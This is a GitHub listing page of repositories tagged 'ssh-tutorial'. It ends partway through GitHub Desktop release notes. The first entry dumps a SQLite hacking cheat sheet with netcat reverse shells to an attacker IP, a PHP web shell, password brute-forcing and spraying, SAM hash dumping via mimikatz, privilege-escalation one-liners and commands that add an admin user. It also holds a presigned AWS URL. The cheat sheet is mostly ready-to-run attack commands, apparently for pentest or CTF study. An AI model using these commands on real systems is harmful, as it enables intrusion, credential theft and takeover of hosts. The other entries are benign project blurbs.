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  • don-no7 / hack-sql

    ssh-tutorial, -- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;

    From user don-no7

  • eyedeekay / i2p-i2pd-sshsetup

    ssh-tutorial, A tutorial for setting up an SSH server and forwarding it to i2p, and configuring an ssh Client to access it.

    From user eyedeekay

  • happycodinguk / telegram-system-monitor

    ssh-tutorial, Telegram Messenger Notifications for Linux Systems - CSF Firewall Alerts - Postfix activity reports - Low Disk Space - Systemd Failures - CPU and Memory - SSH Login. I've put this together with my knowledge and snippets from online web pages and tutorials. Happy to credit anyone quoted. Enjoy!

    From user happycodinguk

  • nl2go / ansible-warrior

    ssh-tutorial, Ansible tutorial setting up SSH Key authentication and secret encryption

    From organization nl2go

  • nomankhalil / github-desktop-overview-release-notes-help-release-notes-for-windows-view-release-notes-for-ma

    ssh-tutorial, GitHub Desktop Overview Release Notes | Help Release Notes for Windows View release notes for Mac 2016/09/22v3.3.3 Chocolate-Covered Yaks UPDATEDGit Shell updated to v2.10.2 2016/09/22v3.3.2 Chocolate-Covered Yaks UPDATEDGit Shell updated to v2.10.1 which updates Curl to 7.50.3 and fixes some issues working with repositories over HTTPS with domains that use self-signed certificates. FIXEDUnable to resize the app to a width of 1024. 2016/09/22v3.3.1 Chocolate-Covered Yaks UPDATEDForce usage of TLS 1.2 when the client supports the protocol. 2016/09/06v3.3.0 Chocolate-Covered Yaks UPDATEDGit Shell updated to v2.10 which includes major performance improvements to interactive rebase among other enhancements. UPDATEDGit LFS updated to v1.3.1. FIXEDDpi scaling on Windows 10 Anniversary Edition caused blurry fonts. 2016/07/26v3.2.0 War on Emus ADDEDNew button to open a repository in Atom or Visual Studio. UPDATEDGit Shell updated to v2.9.0.1. IMPROVEDBetter error message when publishing a repository that already exists on the server. FIXEDCrash due to an unhandled COMException thrown by the default text input spellchecker 2016/05/06v3.1.1 Oh Darth, Where Art Thou? FIXEDCrash when using a Windows theme with drop shadows enabled. 2016/05/04v3.1.0 Oh Darth, Where Art Thou? NEWDark theme now available from Options menu. ADDEDIcons indicating whether a file was added, removed or modified. FIXEDUnable to add repository which exists at drive root. FIXEDCrash due to incorrect handling of input arguments on launch. FIXEDCrash due to COM exception when interacting with Taskbar. FIXEDCrash when scanning filesystem for local repositories. FIXEDCreated SSH keys not added to ssh-agent on first launch. FIXEDCrash due to decoding malformed parameters on restart. UPDATEDPosh-Git now includes new icons in prompt. UPDATEDGit Shell updated to v2.8.1. UPDATEDGit LFS updated to v1.2.0. UPDATEDGit Shell adds Visual Studio 2015 developer tools and other common tools to $PATH. 2016/03/31v3.0.17 Proctional Fungramming FIXEDCrash when updating the Windows taskbar with information but the taskbar is not ready or not found. 2016/03/24v3.0.16 Proctional Fungramming FIXEDExcessive memory allocations in large repositories that caused out of memory errors. FIXEDCommit selection would stop working if one commit failed to load. FIXEDVarious memory and performance improvements. UPDATEDGit Shell updated to v2.7.4. 2016/03/15v3.0.15 Proctional Fungramming IMPROVEDReduced memory consumption when pruning merged branches. IMPROVEDReduced memory consumption by requesting smaller avatars. 2016/03/03v3.0.14 Proctional Fungramming FIXEDPosh-Git update does not work for users running Powershell v2. 2016/03/02v3.0.13 Proctional Fungramming ADDEDIssue suggestions when creating commit messages by pressing the # key. UPDATEDGit Shell updated to v2.7.1. UPDATEDPosh-Git now includes new icons in prompt FIXEDCrash when trying to rapidly load diffs for multiple Git-LFS files. IMPROVEDLocal branches that have been merged into the default branch are automatically pruned. IMPROVEDArrow keys and Page Up/Down can can be used to scroll through diffs. 2016/01/22v3.0.12 Only You Can Shave Yakkind FIXEDUpdated Authenticode certificate to replace obsolete SHA1 certificate. FIXEDRare crash when hovering over commit graph. 2015/12/17v3.0.11 No Type Remains FIXEDUnable to view diffs in LFS-enabled repositories 2015/12/16v3.0.10 One Type Remains IMPROVEDCTRL + ~ opens Git Shell in addition to ~. IMPROVEDCTRL + Enter creates a PR when used within the pull request panel. IMPROVEDUpdated Git LFS to v1.1.0. FIXEDCloning large Git LFS-enabled repositories would fail when exceeding one hour. FIXEDRare crash when saving git attributes in repository settings. FIXEDExtracting Git shell components could fail when using certain anti-virus programs. FIXEDGit LFS accessible when launching using shell.ps1 2015/11/25v3.0.9 Totally Texas FIXEDGit Shell would load incorrect assembly, impacting git-remote-https operations. 2015/11/24v3.0.8 Totally Texas UPDATEDGit command line updated to v2.5. FIXEDDiff generation failed for specific scenarios. FIXEDAvatars disappearing when switching repositories. FIXEDTutorial would get automatically selected on start up until completed or removed. FIXEDRepository list lost focus while using keyboard navigation due to automatic focusing of commit title. FIXEDRare crash when hovering over a commit in the graph. FIXEDGit LFS attributes created in repository settings now match those creating using the CLI. 2015/10/29v3.0.7 Never Gonna Git You Up IMPROVEDAuto focus commit summary when switching to changes tab. FIXEDError rendering diffs for modified renamed files. FIXEDWrong changelog showing for users on the beta program. FIXEDCrash when attempting to show diff for large file storage assets. FIXEDCloning GitHub wikis using the 'Clone in Desktop' button. UPDATEDGit LFS updated to v1.0.2 2015/10/09v3.0.6 Berge Mase ADDEDFrom the Git Shell, you can now open the GitHub Desktop application to a specific 